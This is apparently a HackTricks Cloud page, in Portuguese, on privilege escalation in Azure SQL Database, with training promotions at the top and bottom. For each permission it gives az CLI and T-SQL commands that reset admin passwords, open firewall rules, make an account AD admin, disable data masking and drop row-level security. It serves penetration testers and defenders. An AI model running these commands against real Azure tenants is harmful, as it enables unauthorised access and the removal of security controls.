Az - SQL Database Privesc
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SQL Database Privesc
Para mais informações sobre SQL Database, consulte:
Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/write
Com essas permissões, um usuário pode realizar escalonamento de privilégios ao atualizar ou criar servidores Azure SQL e modificar configurações críticas, incluindo credenciais administrativas. Essa permissão permite que o usuário atualize propriedades do servidor, incluindo a senha do administrador do SQL Server, possibilitando acesso ou controle não autorizado sobre o servidor. Eles também podem criar novos servidores, potencialmente introduzindo infraestrutura sombra para fins maliciosos. Isso se torna particularmente crítico em ambientes onde "Microsoft Entra Authentication Only" está desativado, pois podem explorar a autenticação baseada em SQL para obter acesso irrestrito.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
Além disso, é necessário ter o acesso público habilitado se você quiser acessar a partir de um endpoint não privado, para habilitá-lo:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
Além disso, com as permissões você pode habilitar a identidade atribuída, operando com a identidade gerenciada anexada ao servidor. Por exemplo, aqui com uma identidade gerenciada que pode acessar o Azure Storage:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
Um atacante pode manipular regras de firewall em servidores Azure SQL para permitir acesso não autorizado. Isso pode ser explorado para abrir o servidor para endereços IP específicos ou intervalos inteiros de IP, incluindo IPs públicos, permitindo acesso para atores maliciosos. Esta atividade de pós-exploração pode ser usada para contornar controles de segurança de rede existentes, estabelecer persistência ou facilitar movimento lateral dentro do ambiente ao expor recursos sensíveis.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
Além disso, a permissão Microsoft.Sql/servers/outboundFirewallRules/delete
permite que você exclua uma Regra de Firewall.
NOTA: É necessário ter o acesso público habilitado
Microsoft.Sql/servers/ipv6FirewallRules/write
Com essa permissão, você pode criar, modificar ou excluir regras de firewall IPv6 em um Azure SQL Server. Isso poderia permitir que um atacante ou usuário autorizado contornasse as configurações de segurança de rede existentes e obtivesse acesso não autorizado ao servidor. Ao adicionar uma regra que permite tráfego de qualquer endereço IPv6, o atacante poderia abrir o servidor para acesso externo.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
Além disso, a permissão Microsoft.Sql/servers/ipv6FirewallRules/delete
permite que você exclua uma Regra de Firewall.
NOTA: É necessário ter o acesso público habilitado.
Microsoft.Sql/servers/administrators/write
&& Microsoft.Sql/servers/administrators/read
Com essas permissões, você pode realizar privilege escalation em um ambiente Azure SQL Server acessando bancos de dados SQL e recuperando informações críticas. Usando o comando abaixo, um atacante ou usuário autorizado pode se definir ou definir outra conta como administrador do Azure AD. Se "Microsoft Entra Authentication Only" estiver habilitado, você poderá acessar o servidor e suas instâncias. Aqui está o comando para definir o administrador do Azure AD para um servidor SQL:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write
&& Microsoft.Sql/servers/azureADOnlyAuthentications/read
Com essas permissões, você pode configurar e impor "Autenticação Apenas do Microsoft Entra" em um Azure SQL Server, o que pode facilitar a escalada de privilégios em certos cenários. Um atacante ou um usuário autorizado com essas permissões pode habilitar ou desabilitar a autenticação apenas do Azure AD.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Modifique (ou desative) as políticas de mascaramento de dados em seus bancos de dados SQL.
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
Remover Segurança em Nível de Linha
Se você fizer login como admin, pode remover as políticas do próprio admin e de outros usuários.
DROP SECURITY POLICY [Name_of_policy];
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.